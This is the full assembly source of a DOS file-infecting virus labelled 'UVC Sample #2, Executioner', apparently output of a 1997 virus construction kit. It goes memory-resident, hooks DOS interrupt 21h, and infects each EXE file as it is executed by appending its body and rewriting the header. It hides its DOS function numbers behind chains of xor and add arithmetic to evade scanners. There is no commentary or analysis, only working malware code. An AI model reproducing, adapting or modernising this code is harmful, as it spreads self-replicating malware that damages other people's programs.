UVC Sample #2
Executioner
; Created with UVC 1.00á
; (c) 1997 Unknown/Executioner
.model	tiny
.386
v_length equ	v_finish-v_start
m_length equ	m_finish-v_start
num_para equ	(m_length+15)/16
cseg	segment use16
	org	0
	assume	cs:cseg,ds:cseg,es:cseg,ss:cseg
v_start:
v_entry:
	call	delta
delta:
	pop	bp
	sub	bp, offset delta
	mov	ax, 4ba2h
	int	21h
	push	ax
	not	ax
	push	ax
	neg	ax
	push	ax
	not	ax
	push	ax
	neg	ax
	cmp	ax, (-(not (-(not 1234))))
	pop	ax
	pop	ax
	pop	ax
	pop	ax
	jz	return_to_host
	call	go_resident
return_to_host:
	mov	ax, ds
	add	ax, 10h
	add	word ptr cs:[bp+old_cs], ax
	add	word ptr cs:[bp+old_ss], ax
	mov	ss, word ptr cs:[bp+old_ss]
	mov	sp, word ptr cs:[bp+old_sp]
	db	0eah
old_ip	dw	0
old_cs	dw	0fff0h
old_ss	dw	0fff0h
old_sp	dw	2000h
go_resident:
	push	ds
	push	es
	mov	ax, ds
	dec	ax
	mov	ds, ax
	sub	word ptr ds:[3], num_para+1
	sub	word ptr ds:[12h], num_para+1
	mov	byte ptr ds:[0], 'Z'
	mov	ax, word ptr ds:[12h]
	mov	ds, ax
	mov	byte ptr ds:[0], 'Z'
	mov	word ptr ds:[1], 8
	mov	word ptr ds:[3], num_para
	inc	ax
	mov	es, ax
	push	cs
	pop	ds
	lea	si, [bp+v_start]
	sub	di, di
	mov	cx, (v_length+3)/4
	rep	movsd
	push	0
	pop	ax
	mov	ds, ax
	push	ds
	lds	dx, dword ptr ds:[84h]
	mov	word ptr es:[old_int21], dx
	mov	word ptr es:[old_int21+2], ds
	pop	ds
	cli
	mov	word ptr ds:[84h], offset new_int21
	mov	word ptr ds:[86h], es
	sti
	pop	es
	pop	ds
	retn
infect_file:
	pusha
	push	ds
	push	es
	mov	ax, (3d02h-0a641h) and 0ffffh
	add	ax, 0a641h
	int	21h
	xchg	bx, ax
	push	cs
	pop	ds
	push	cs
	pop	es
	mov	ax, ((((((3f00h-0553h)+97dch)-0d393h) xor 0d742h) xor 74c4h) xor 5b76h) and 0ffffh
	xor	ax, 5b76h
	xor	ax, 74c4h
	xor	ax, 0d742h
	add	ax, 0d393h
	sub	ax, 97dch
	add	ax, 0553h
	mov	cx, ((((((20h-4dbch)+0fcc9h)+4451h)-6313h)+0114h) xor 938dh) and 0ffffh
	xor	cx, 938dh
	sub	cx, 0114h
	add	cx, 6313h
	sub	cx, 4451h
	sub	cx, 0fcc9h
	add	cx, 4dbch
	mov	dx, offset buffer
	int	21h
	cmp	word ptr ds:[buffer+10h], 2000h
	jz	already_infected
	mov	si, offset buffer+14h
	mov	di, offset old_ip
	push	ax
	lodsb
	mov	byte ptr es:[di], al
	inc	di
	pop	ax
	movsb
	movsw
	mov	si, offset buffer+0eh
	movsw
	push	ax
	mov	ax, word ptr ds:[si]
	add	si, 2
	mov	word ptr es:[di], ax
	add	di, 2
	pop	ax
	mov	ax, ((((((4202h-0b6adh)+99a0h)+9713h) xor 0f651h) xor 93afh) xor 4445h) and 0ffffh
	xor	ax, 4445h
	xor	ax, 93afh
	xor	ax, 0f651h
	sub	ax, 9713h
	sub	ax, 99a0h
	add	ax, 0b6adh
	push	0
	pop	cx
	and	dx, 0
	int	21h
	mov	cx, ax
	and	cx, 0fh
	shr	ax, 4
	shl	dx, 12
	or	ax, dx
	sub	ax, word ptr [buffer+8]
	mov	word ptr [buffer+14h], cx
	mov	word ptr [buffer+16h], ax
	mov	word ptr [buffer+0eh], ax
	mov	word ptr [buffer+10h], 2000h
	mov	ax, ((4000h+0bc9h)+9d76h) and 0ffffh
	sub	ax, 9d76h
	sub	ax, 0bc9h
	mov	cx, v_length
	mov	dx, (((((0 xor 0bf1h)+1c18h)-14f4h)-7184h) xor 0cb5eh) and 0ffffh
	xor	dx, 0cb5eh
	add	dx, 7184h
	add	dx, 14f4h
	sub	dx, 1c18h
	xor	dx, 0bf1h
	int	21h
	mov	ax, (((((4202h-886ch) xor 4be2h) xor 0c6cfh) xor 3fcah) xor 50b3h) and 0ffffh
	xor	ax, 50b3h
	xor	ax, 3fcah
	xor	ax, 0c6cfh
	xor	ax, 4be2h
	add	ax, 886ch
	xor	cx, cx
	push	0
	pop	dx
	int	21h
	mov	cx, ax
	and	cx, 1ffh
	shr	ax, 9
	shl	dx, 7
	or	ax, dx
	or	cx, cx
	jz	multiple_of_512
	inc	ax
multiple_of_512:
	mov	word ptr [buffer+2], cx
	mov	word ptr [buffer+4], ax
	mov	ax, ((((4200h-1069h)-289bh) xor 5973h)-959fh) and 0ffffh
	add	ax, 959fh
	xor	ax, 5973h
	add	ax, 289bh
	add	ax, 1069h
	sub	cx, cx
	push	0
	pop	dx
	int	21h
	mov	ax, ((((((4000h xor 9a1bh) xor 8f4dh)+17a3h) xor 9690h) xor 0caech) xor 8899h) and 0ffffh
	xor	ax, 8899h
	xor	ax, 0caech
	xor	ax, 9690h
	sub	ax, 17a3h
	xor	ax, 8f4dh
	xor	ax, 9a1bh
	mov	cx, ((20h-0c8b6h)+0fac8h) and 0ffffh
	sub	cx, 0fac8h
	add	cx, 0c8b6h
	mov	dx, offset buffer
	int	21h
already_infected:
	mov	ax, (3e00h-0e9b1h) and 0ffffh
	add	ax, 0e9b1h
	int	21h
	pop	es
	pop	ds
	popa
	jmp	do_orig_int
residency_check:
	mov	ax, ((((((1234h xor 7233h) xor 423dh) xor 0cfc8h) xor 3e8ch) xor 0a5efh) xor 0c519h) and 0ffffh
	xor	ax, 0c519h
	xor	ax, 0a5efh
	xor	ax, 3e8ch
	xor	ax, 0cfc8h
	xor	ax, 423dh
	xor	ax, 7233h
	popf
	iret
new_int21:
	pushf
	cmp	ax, 4b00h
	jz	infect_file
	push	ax
	not	ax
	push	ax
	inc	ax
	push	ax
	sub	ax, ((not 4ba2h)+1)
	pop	ax
	pop	ax
	pop	ax
	jz	residency_check
do_orig_int:
	popf
	jmp	dword ptr cs:[old_int21]
v_finish:
old_int21 dd	?
buffer	db	20h dup (0)
m_finish:
cseg	ends
	end	v_start